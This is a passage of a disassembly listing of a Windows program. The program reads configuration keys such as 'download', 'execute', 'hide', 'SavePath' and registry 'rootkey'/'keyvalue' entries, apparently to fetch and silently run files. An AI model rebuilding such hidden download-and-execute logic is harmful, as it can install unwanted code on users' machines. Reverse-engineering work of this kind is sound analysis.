loc_4238FE: ; CODE XREF: sub_423489+C5Dj push 0 lea ecx, [ebp-18h] call sub_4264DF test al, al jnz loc_4240EB cmp dword ptr [ebp-18h], 0 jnz short loc_42391C push ebx call sub_431AB2 loc_42391C: ; CODE XREF: sub_423489+48Bj mov ecx, [ebp-18h] lea eax, [ebp-10h] push eax call sub_4243E7 mov byte ptr [ebp-4], 0Fh loc_42392C: ; CODE XREF: sub_423489+BDEj push 0 lea ecx, [ebp-10h] call sub_4264DF test al, al jnz loc_42406C cmp dword ptr [ebp-10h], 0 jnz short loc_42394A push ebx call sub_431AB2 loc_42394A: ; CODE XREF: sub_423489+4B9j mov ecx, [ebp-10h] lea eax, [ebp-0A4h] push eax call sub_42444B mov ecx, [eax] mov byte ptr [ebp-4], 10h test ecx, ecx jz short loc_42396A call sub_424244 jmp short loc_42396C ; --------------------------------------------------------------------------- loc_42396A: ; CODE XREF: sub_423489+4D8j xor eax, eax loc_42396C: ; CODE XREF: sub_423489+4DFj push eax lea eax, [ebp-2140h] push offset aS ; "%s" push eax call dword_4331E4 ; sprintf add esp, 0Ch lea ecx, [ebp-0A4h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 push offset aRootkey ; "rootkey" lea ecx, [ebp-0CCh] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 11h jnz short loc_4239B3 push ebx call sub_431AB2 loc_4239B3: ; CODE XREF: sub_423489+522j mov ecx, [ebp-10h] lea eax, [ebp-5Ch] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-5Ch] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-0CCh] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_4239FE lea eax, [ebp-2140h] push eax lea eax, [edi-2000h] push eax call dword_4330CC ; lstrcpyA loc_4239FE: ; CODE XREF: sub_423489+55Fj push offset aKey ; "key" lea ecx, [ebp-0ACh] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 12h jnz short loc_423A24 push 80004003h call sub_431AB2 loc_423A24: ; CODE XREF: sub_423489+58Fj mov ecx, [ebp-10h] lea eax, [ebp-64h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-64h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-0ACh] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423A69 lea eax, [ebp-2140h] push eax push edi call dword_4330CC ; lstrcpyA loc_423A69: ; CODE XREF: sub_423489+5D0j push offset aKeyvalue ; "keyvalue" lea ecx, [ebp-0D8h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 13h jnz short loc_423A8F push 80004003h call sub_431AB2 loc_423A8F: ; CODE XREF: sub_423489+5FAj mov ecx, [ebp-10h] lea eax, [ebp-6Ch] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-6Ch] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-0D8h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423ADA lea eax, [ebp-2140h] push eax lea eax, [edi+2000h] push eax call dword_4330CC ; lstrcpyA loc_423ADA: ; CODE XREF: sub_423489+63Bj push offset aRequiredfile ; "requiredfile" lea ecx, [ebp-0B4h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 14h jnz short loc_423B00 push 80004003h call sub_431AB2 loc_423B00: ; CODE XREF: sub_423489+66Bj mov ecx, [ebp-10h] lea eax, [ebp-74h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-74h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-0B4h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423B4B lea eax, [ebp-2140h] push eax lea eax, [edi+4000h] push eax call dword_4330CC ; lstrcpyA loc_423B4B: ; CODE XREF: sub_423489+6ACj push offset aFilename ; "filename" lea ecx, [ebp-0D4h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 15h jnz short loc_423B71 push 80004003h call sub_431AB2 loc_423B71: ; CODE XREF: sub_423489+6DCj mov ecx, [ebp-10h] lea eax, [ebp-7Ch] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-7Ch] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-0D4h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423BBC lea eax, [ebp-2140h] push eax lea eax, [edi-0A000h] push eax call dword_4330CC ; lstrcpyA loc_423BBC: ; CODE XREF: sub_423489+71Dj push offset aParameters ; "parameters" lea ecx, [ebp-0BCh] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 16h jnz short loc_423BE2 push 80004003h call sub_431AB2 loc_423BE2: ; CODE XREF: sub_423489+74Dj mov ecx, [ebp-10h] lea eax, [ebp-30h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-30h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-0BCh] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423C2D lea eax, [ebp-2140h] push eax lea eax, [edi-8000h] push eax call dword_4330CC ; lstrcpyA loc_423C2D: ; CODE XREF: sub_423489+78Ej push offset aSaveas ; "SaveAs" lea ecx, [ebp-0E0h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 17h jnz short loc_423C53 push 80004003h call sub_431AB2 loc_423C53: ; CODE XREF: sub_423489+7BEj mov ecx, [ebp-10h] lea eax, [ebp-8Ch] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-8Ch] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-0E0h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423CA4 lea eax, [ebp-2140h] push eax lea eax, [edi-6000h] push eax call dword_4330CC ; lstrcpyA loc_423CA4: ; CODE XREF: sub_423489+805j push offset aSavepath ; "SavePath" lea ecx, [ebp-38h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 18h jnz short loc_423CC7 push 80004003h call sub_431AB2 loc_423CC7: ; CODE XREF: sub_423489+832j mov ecx, [ebp-10h] lea eax, [ebp-34h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-34h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-38h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423D0F lea eax, [ebp-2140h] push eax lea eax, [edi-4000h] push eax call dword_4330CC ; lstrcpyA loc_423D0F: ; CODE XREF: sub_423489+870j push offset aHide ; "hide" lea ecx, [ebp-48h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 19h jnz short loc_423D32 push 80004003h call sub_431AB2 loc_423D32: ; CODE XREF: sub_423489+89Dj mov ecx, [ebp-10h] lea eax, [ebp-40h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-40h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-48h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423D7F cmp byte ptr [ebp-2140h], 30h jnz short loc_423D78 and byte ptr [edi+0A001h], 0 jmp short loc_423D7F ; --------------------------------------------------------------------------- loc_423D78: ; CODE XREF: sub_423489+8E4j mov byte ptr [edi+0A001h], 1 loc_423D7F: ; CODE XREF: sub_423489+8DBj ; sub_423489+8EDj push offset aExecute ; "execute" lea ecx, [ebp-58h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Ah jnz short loc_423DA2 push 80004003h call sub_431AB2 loc_423DA2: ; CODE XREF: sub_423489+90Dj mov ecx, [ebp-10h] lea eax, [ebp-50h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-50h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-58h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423DEF cmp byte ptr [ebp-2140h], 30h jnz short loc_423DE8 and byte ptr [edi+0A002h], 0 jmp short loc_423DEF ; --------------------------------------------------------------------------- loc_423DE8: ; CODE XREF: sub_423489+954j mov byte ptr [edi+0A002h], 1 loc_423DEF: ; CODE XREF: sub_423489+94Bj ; sub_423489+95Dj push offset aWait ; "wait" lea ecx, [ebp-68h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Bh jnz short loc_423E12 push 80004003h call sub_431AB2 loc_423E12: ; CODE XREF: sub_423489+97Dj mov ecx, [ebp-10h] lea eax, [ebp-60h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-60h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-68h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423E5F cmp byte ptr [ebp-2140h], 30h jnz short loc_423E58 and byte ptr [edi+0A004h], 0 jmp short loc_423E5F ; --------------------------------------------------------------------------- loc_423E58: ; CODE XREF: sub_423489+9C4j mov byte ptr [edi+0A004h], 1 loc_423E5F: ; CODE XREF: sub_423489+9BBj ; sub_423489+9CDj push offset aNewupdater ; "newupdater" lea ecx, [ebp-78h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Ch jnz short loc_423E82 push 80004003h call sub_431AB2 loc_423E82: ; CODE XREF: sub_423489+9EDj mov ecx, [ebp-10h] lea eax, [ebp-70h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-70h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-78h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423ECF cmp byte ptr [ebp-2140h], 30h jnz short loc_423EC8 and byte ptr [edi+0A000h], 0 jmp short loc_423ECF ; --------------------------------------------------------------------------- loc_423EC8: ; CODE XREF: sub_423489+A34j mov byte ptr [edi+0A000h], 1 loc_423ECF: ; CODE XREF: sub_423489+A2Bj ; sub_423489+A3Dj push offset aVersion_0 ; "version" lea ecx, [ebp-88h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Dh jnz short loc_423EF5 push 80004003h call sub_431AB2 loc_423EF5: ; CODE XREF: sub_423489+A60j mov ecx, [ebp-10h] lea eax, [ebp-80h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-80h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-88h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423F40 lea eax, [ebp-2140h] push eax lea eax, [edi+6000h] push eax call dword_4330CC ; lstrcpyA loc_423F40: ; CODE XREF: sub_423489+AA1j push offset aIdentifier ; "identifier" lea ecx, [ebp-98h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Eh jnz short loc_423F66 push 80004003h call sub_431AB2 loc_423F66: ; CODE XREF: sub_423489+AD1j mov ecx, [ebp-10h] lea eax, [ebp-90h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-90h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-98h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_423FB7 lea eax, [ebp-2140h] push eax lea eax, [edi+8000h] push eax call dword_4330CC ; lstrcpyA loc_423FB7: ; CODE XREF: sub_423489+B18j push offset aCrc ; "crc" lea ecx, [ebp-0A8h] call sub_424152 mov esi, eax cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1Fh jnz short loc_423FDD push 80004003h call sub_431AB2 loc_423FDD: ; CODE XREF: sub_423489+B48j mov ecx, [ebp-10h] lea eax, [ebp-0A0h] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-0A0h] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-0A8h] mov byte ptr [ebp-4], 0Fh call sub_4241A6 test bl, bl jz short loc_42402E lea eax, [ebp-2140h] push eax call dword_4331A8 ; atoi pop ecx mov [edi+0A008h], eax loc_42402E: ; CODE XREF: sub_423489+B8Fj cmp dword ptr [ebp-10h], 0 jnz short loc_42403E push 80004003h call sub_431AB2 loc_42403E: ; CODE XREF: sub_423489+BA9j mov ecx, [ebp-10h] lea eax, [ebp-0B0h] push eax call sub_424419 push dword ptr [eax] lea ecx, [ebp-10h] call sub_4264A7 lea ecx, [ebp-0B0h] call sub_4264D2 mov ebx, 80004003h jmp loc_42392C ; --------------------------------------------------------------------------- loc_42406C: ; CODE XREF: sub_423489+4AFj lea esi, [edi-4000h] push 0Ah push offset aWindows ; "windows" push esi call dword_4331AC ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4240A1 mov eax, [ebp-28h] push dword ptr [eax+1Ch] push esi call sub_4318B8 ; strcpy push offset dword_437130 push esi call sub_4318D0 ; strcat add esp, 10h loc_4240A1: ; CODE XREF: sub_423489+BFCj inc dword ptr [ebp-24h] lea ecx, [ebp-10h] add edi, 1400Ch mov byte ptr [ebp-4], 0Eh call sub_4264D2 cmp dword ptr [ebp-18h], 0 jnz short loc_4240C2 push ebx call sub_431AB2 loc_4240C2: ; CODE XREF: sub_423489+C31j mov ecx, [ebp-18h] lea eax, [ebp-0B8h] push eax call sub_424419 push dword ptr [eax] lea ecx, [ebp-18h] call sub_4264A7 lea ecx, [ebp-0B8h] call sub_4264D2 jmp loc_4238FE ; --------------------------------------------------------------------------- loc_4240EB: ; CODE XREF: sub_423489+481j lea ecx, [ebp-18h] mov byte ptr [ebp-4], 1 call sub_4264D2 mov edi, offset aS ; "%s" loc_4240FC: ; CODE XREF: sub_423489+437j cmp dword ptr [ebp-14h], 0 jnz short loc_42410C push 80004003h call sub_431AB2 loc_42410C: ; CODE XREF: sub_423489+C77j mov ecx, [ebp-14h] lea eax, [ebp-2Ch] push eax call sub_424419 push dword ptr [eax] lea ecx, [ebp-14h] call sub_4264A7 lea ecx, [ebp-2Ch] call sub_4264D2 xor ebx, ebx jmp loc_4234FC ; --------------------------------------------------------------------------- loc_424131: ; CODE XREF: sub_423489+7Ej lea ecx, [ebp-14h] call sub_4264D2 lea ecx, [ebp+8] call sub_4264D2 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_423489 endp ; =============== S U B R O U T I N E ======================================= sub_424152 proc near ; CODE XREF: sub_423489+8Fp ; sub_423489+1B2p ... mov eax, offset loc_432042 call sub_4318CA ; _EH_prolog push ecx push esi mov esi, ecx push 0Ch call sub_431784 pop ecx mov ecx, eax mov [ebp-10h], ecx and dword ptr [ebp-4], 0 test ecx, ecx jz short loc_42417F push dword ptr [ebp+8] call sub_4241E4 jmp short loc_424181 ; --------------------------------------------------------------------------- loc_42417F: ; CODE XREF: sub_424152+21j xor eax, eax loc_424181: ; CODE XREF: sub_424152+2Bj or dword ptr [ebp-4], 0FFFFFFFFh mov [esi], eax test eax, eax jnz short loc_424195 push 8007000Eh call sub_431AB2 loc_424195: ; CODE XREF: sub_424152+37j mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_424152 endp ; =============== S U B R O U T I N E ======================================= sub_4241A6 proc near ; CODE XREF: sub_423489+CEp ; sub_423489+DDp ... push esi mov esi, ecx mov ecx, [esi] test ecx, ecx jz short loc_4241B7 call sub_424217 and dword ptr [esi], 0 loc_4241B7: ; CODE XREF: sub_4241A6+7j pop esi retn sub_4241A6 endp ; =============== S U B R O U T I N E ======================================= sub_4241B9 proc near ; CODE XREF: sub_423489+BBp ; sub_423489+1DFp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, [ecx] mov eax, [eax] cmp ecx, eax jnz short loc_4241C9 xor eax, eax jmp short locret_4241E1 ; --------------------------------------------------------------------------- loc_4241C9: ; CODE XREF: sub_4241B9+Aj test ecx, ecx jnz short loc_4241D2 or eax, 0FFFFFFFFh jmp short locret_4241E1 ; --------------------------------------------------------------------------- loc_4241D2: ; CODE XREF: sub_4241B9+12j test eax, eax jnz short loc_4241DB push 1 pop eax jmp short locret_4241E1 ; --------------------------------------------------------------------------- loc_4241DB: ; CODE XREF: sub_4241B9+1Bj push eax call sub_42426E locret_4241E1: ; CODE XREF: sub_4241B9+Ej ; sub_4241B9+17j ... retn 4 sub_4241B9 endp ; =============== S U B R O U T I N E ======================================= sub_4241E4 proc near ; CODE XREF: sub_424152+26p ; sub_429920+47p arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] and dword ptr [esi+4], 0 mov dword ptr [esi+8], 1 call sub_431B5F test eax, eax mov [esi], eax jnz short loc_424211 cmp [esp+4+arg_0], eax jz short loc_424211 push 8007000Eh call sub_431AB2 loc_424211: ; CODE XREF: sub_4241E4+1Bj ; sub_4241E4+21j mov eax, esi pop esi retn 4 sub_4241E4 endp ; =============== S U B R O U T I N E ======================================= sub_424217 proc near ; CODE XREF: sub_4241A6+9p push esi mov esi, ecx push edi lea edi, [esi+8] push edi call dword_4330C4 ; InterlockedDecrement test eax, eax jnz short loc_42423F test esi, esi jz short loc_42423B mov ecx, esi call sub_4242EE push esi call sub_43177E pop ecx loc_42423B: ; CODE XREF: sub_424217+14j xor eax, eax jmp short loc_424241 ; --------------------------------------------------------------------------- loc_42423F: ; CODE XREF: sub_424217+10j mov eax, [edi] loc_424241: ; CODE XREF: sub_424217+26j pop edi pop esi retn sub_424217 endp ; =============== S U B R O U T I N E ======================================= sub_424244 proc near ; CODE XREF: sub_423489+113p ; sub_423489+234p ... push esi mov esi, ecx cmp dword ptr [esi+4], 0 jnz short loc_424269 push dword ptr [esi] call sub_431BD4 test eax, eax mov [esi+4], eax jnz short loc_424269 cmp [esi], eax jz short loc_424269 push 8007000Eh call sub_431AB2 loc_424269: ; CODE XREF: sub_424244+7j ; sub_424244+15j ... mov eax, [esi+4] pop esi retn sub_424244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42426E proc near ; CODE XREF: sub_4241B9+23p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, ecx push esi push edi mov eax, [ebx] test eax, eax jnz short loc_424287 mov eax, [ebp+arg_0] mov eax, [eax] neg eax sbb eax, eax jmp short loc_4242E7 ; --------------------------------------------------------------------------- loc_424287: ; CODE XREF: sub_42426E+Cj mov edi, [ebp+arg_0] cmp dword ptr [edi], 0 jnz short loc_424294 push 1 pop eax jmp short loc_4242E7 ; --------------------------------------------------------------------------- loc_424294: ; CODE XREF: sub_42426E+1Fj mov esi, dword_433278 push eax call esi push dword ptr [edi] mov [ebp+arg_0], eax call esi mov edx, [ebp+arg_0] cmp edx, eax jbe short loc_4242AD mov edx, eax loc_4242AD: ; CODE XREF: sub_42426E+3Bj mov ecx, [ebx] mov edi, [edi] loc_4242B1: ; CODE XREF: sub_42426E+57j mov esi, edx dec edx test esi, esi jbe short loc_4242D3 mov bx, [edi] mov si, [ecx] inc edi inc edi inc ecx inc ecx cmp si, bx jz short loc_4242B1 movzx edx, word ptr [edi-2] movzx eax, word ptr [ecx-2] sub eax, edx jmp short loc_4242E7 ; --------------------------------------------------------------------------- loc_4242D3: ; CODE XREF: sub_42426E+48j cmp [ebp+arg_0], eax jnb short loc_4242DD or eax, 0FFFFFFFFh jmp short loc_4242E7 ; --------------------------------------------------------------------------- loc_4242DD: ; CODE XREF: sub_42426E+68j xor ecx, ecx cmp [ebp+arg_0], eax setnz cl mov eax, ecx loc_4242E7: ; CODE XREF: sub_42426E+17j ; sub_42426E+24j ... pop edi pop esi pop ebx pop ebp retn 4 sub_42426E endp ; =============== S U B R O U T I N E ======================================= sub_4242EE proc near ; CODE XREF: sub_424217+18p push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4242FE push eax call dword_433274 loc_4242FE: ; CODE XREF: sub_4242EE+7j mov esi, [esi+4] test esi, esi jz short loc_42430C push esi call sub_43177E pop ecx loc_42430C: ; CODE XREF: sub_4242EE+15j pop esi retn sub_4242EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42430E proc near ; CODE XREF: sub_423489+B3p ; sub_423489+1D7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, ecx lea ecx, [ebp+var_4] mov eax, [esi] push ecx push esi call dword ptr [eax+1Ch] test eax, eax jge short loc_424333 push offset dword_437238 push esi push eax call sub_431AC0 loc_424333: ; CODE XREF: sub_42430E+17j mov ecx, [ebp+arg_0] push 0 push [ebp+var_4] call sub_424348 mov eax, [ebp+arg_0] pop esi leave retn 4 sub_42430E endp ; =============== S U B R O U T I N E ======================================= sub_424348 proc near ; CODE XREF: sub_42430E+2Dp ; sub_42444B+2Dp mov eax, offset loc_432056 call sub_4318CA ; _EH_prolog push ecx push esi mov esi, ecx push 0Ch call sub_431784 pop ecx mov ecx, eax mov [ebp-10h], ecx and dword ptr [ebp-4], 0 test ecx, ecx jz short loc_424378 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_42439F jmp short loc_42437A ; --------------------------------------------------------------------------- loc_424378: ; CODE XREF: sub_424348+21j xor eax, eax loc_42437A: ; CODE XREF: sub_424348+2Ej or dword ptr [ebp-4], 0FFFFFFFFh mov [esi], eax test eax, eax jnz short loc_42438E push 8007000Eh call sub_431AB2 loc_42438E: ; CODE XREF: sub_424348+3Aj mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 8 sub_424348 endp ; =============== S U B R O U T I N E ======================================= sub_42439F proc near ; CODE XREF: sub_424348+29p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi mov esi, ecx push edi mov edi, [esp+8+arg_0] and dword ptr [esi+4], 0 cmp [esp+8+arg_4], 0 mov dword ptr [esi+8], 1 jz short loc_4243DE test edi, edi jz short loc_4243DE push edi call dword_43326C push eax push edi call dword_433270 test eax, eax mov [esi], eax jnz short loc_4243E0 push 8007000Eh call sub_431AB2 jmp short loc_4243E0 ; --------------------------------------------------------------------------- loc_4243DE: ; CODE XREF: sub_42439F+18j ; sub_42439F+1Cj mov [esi], edi loc_4243E0: ; CODE XREF: sub_42439F+31j ; sub_42439F+3Dj mov eax, esi pop edi pop esi retn 8 sub_42439F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4243E7 proc near ; CODE XREF: sub_423489+57p ; sub_423489+454p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, ecx lea ecx, [ebp+var_4] mov eax, [esi] push ecx push esi call dword ptr [eax+34h] test eax, eax jge short loc_42440C push offset dword_437238 push esi push eax call sub_431AC0 loc_42440C: ; CODE XREF: sub_4243E7+17j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] pop esi mov [eax], ecx leave retn 4 sub_4243E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424419 proc near ; CODE XREF: sub_423489+BBFp ; sub_423489+C43p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, ecx lea ecx, [ebp+var_4] mov eax, [esi] push ecx push esi call dword ptr [eax+40h] test eax, eax jge short loc_42443E push offset dword_437238 push esi push eax call sub_431AC0 loc_42443E: ; CODE XREF: sub_424419+17j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] pop esi mov [eax], ecx leave retn 4 sub_424419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42444B proc near ; CODE XREF: sub_423489+104p ; sub_423489+225p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi mov esi, ecx lea ecx, [ebp+var_4] mov eax, [esi] push ecx push esi call dword ptr [eax+68h] test eax, eax jge short loc_424470 push offset dword_437238 push esi push eax call sub_431AC0 loc_424470: ; CODE XREF: sub_42444B+17j mov ecx, [ebp+arg_0] push 0 push [ebp+var_4] call sub_424348 mov eax, [ebp+arg_0] pop esi leave retn 4 sub_42444B endp ; =============== S U B R O U T I N E ======================================= sub_424485 proc near ; CODE XREF: sub_42852F+907p mov eax, offset loc_432080 call sub_4318CA ; _EH_prolog sub esp, 1Ch push ebx push esi push edi xor ebx, ebx mov [ebp-4], ebx mov [ebp-18h], ebx mov [ebp-10h], ebx mov esi, [ebp+8] mov byte ptr [ebp-4], 1 cmp esi, ebx mov edi, 80004003h jnz short loc_4244B6 push edi call sub_431AB2 loc_4244B6: ; CODE XREF: sub_424485+29j lea eax, [ebp-14h] mov ecx, esi push eax call sub_4243E7 push dword ptr [eax] lea ecx, [ebp-10h] call sub_4264A7 lea ecx, [ebp-14h] call sub_4264D2 loc_4244D3: ; CODE XREF: sub_424485+149j push ebx lea ecx, [ebp-10h] call sub_4264DF test al, al jnz loc_4245D3 push offset aDownload ; "download" lea ecx, [ebp-20h] call sub_424152 mov esi, eax cmp [ebp-10h], ebx mov byte ptr [ebp-4], 2 jnz short loc_424502 push edi call sub_431AB2 loc_424502: ; CODE XREF: sub_424485+75j mov ecx, [ebp-10h] lea eax, [ebp-1Ch] push eax call sub_42430E push esi mov ecx, eax call sub_4241B9 mov ebx, eax lea ecx, [ebp-1Ch] neg ebx sbb bl, bl inc bl call sub_4241A6 lea ecx, [ebp-20h] mov byte ptr [ebp-4], 1 call sub_4241A6 test bl, bl jz short loc_42459F xor esi, esi cmp [ebp-10h], esi jnz short loc_424543 push edi call sub_431AB2 loc_424543: ; CODE XREF: sub_424485+B6j mov ecx, [ebp-10h] lea eax, [ebp-14h] push eax call sub_4243E7 mov byte ptr [ebp-4], 3 loc_424553: ; CODE XREF: sub_424485+107j push esi lea ecx, [ebp-14h] call sub_4264DF test al, al jnz short loc_42458E inc dword ptr [ebp-18h] cmp [ebp-14h], esi jnz short loc_42456E push edi call sub_431AB2 loc_42456E: ; CODE XREF: sub_424485+E1j mov ecx, [ebp-14h] lea eax, [ebp-24h] push eax call sub_424419 push dword ptr [eax] lea ecx, [ebp-14h] call sub_4264A7 lea ecx, [ebp-24h] call sub_4264D2 jmp short loc_424553 ; --------------------------------------------------------------------------- loc_42458E: ; CODE XREF: sub_424485+D9j mov eax, [ebp-14h] mov byte ptr [ebp-4], 1 cmp eax, esi jz short loc_42459F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_42459F: ; CODE XREF: sub_424485+AFj ; sub_424485+112j cmp dword ptr [ebp-10h], 0 jnz short loc_4245AB push edi call sub_431AB2 loc_4245AB: ; CODE XREF: sub_424485+11Ej mov ecx, [ebp-10h] lea eax, [ebp-28h] push eax call sub_424419 push dword ptr [eax] lea ecx, [ebp-10h] call sub_4264A7 lea ecx, [ebp-28h] call sub_4264D2 mov esi, [ebp+8] xor ebx, ebx jmp loc_4244D3 ; --------------------------------------------------------------------------- loc_4245D3: ; CODE XREF: sub_424485+59j mov eax, [ebp-10h] and byte ptr [ebp-4], 0 cmp eax, ebx jz short loc_4245E4 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4245E4: ; CODE XREF: sub_424485+157j or dword ptr [ebp-4], 0FFFFFFFFh cmp esi, ebx jz short loc_4245F2 mov eax, [esi] push esi call dword ptr [eax+8] loc_4245F2: ; CODE XREF: sub_424485+165j mov ecx, [ebp-0Ch] mov eax, [ebp-18h] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_424485 endp ; =============== S U B R O U T I N E ======================================= sub_424606 proc near ; CODE XREF: sub_42852F+9FAp mov eax, offset loc_4320FF call sub_4318CA ; _EH_prolog mov eax, 208Ch call sub_431860 push ebx mov ebx, ecx mov ecx, [ebp+0Ch] push esi test ecx, ecx push edi jle loc_424A1B mov eax, [ebp+8] mov dword ptr [ebp-1Ch], 0FFFFE000h sub [ebp-1Ch], eax mov [ebp-28h], ecx lea esi, [eax+2000h] loc_424640: ; CODE XREF: sub_424606+40Fj cmp byte ptr [esi+12000h], 0 jz loc_424734 push esi call sub_4318BE ; strlen test eax, eax pop ecx jbe loc_424734 cmp byte ptr [esi], 23h jnz loc_424734 lea eax, [ebp-2098h] push esi push eax call sub_4318B8 ; strcpy mov edi, offset dword_437260 lea eax, [ebp-2098h] push edi push eax call dword_4331CC ; strstr add esp, 10h test eax, eax jz short loc_4246C2 lea ecx, [ebp-2098h] sub eax, ecx inc eax cmp eax, 1 mov [ebp+0Ch], eax jle short loc_4246C2 push eax lea eax, [ebp-2098h] push eax push esi call dword_43319C ; strncpy mov eax, [ebp-1Ch] mov ecx, [ebp+8] add eax, esi add esp, 0Ch add eax, [ebp+0Ch] and byte ptr [eax+ecx+2000h], 0 loc_4246C2: ; CODE XREF: sub_424606+84j ; sub_424606+95j push edi push esi call sub_4318D0 ; strcat push dword ptr [ebx+20h] push esi call sub_4318D0 ; strcat add esp, 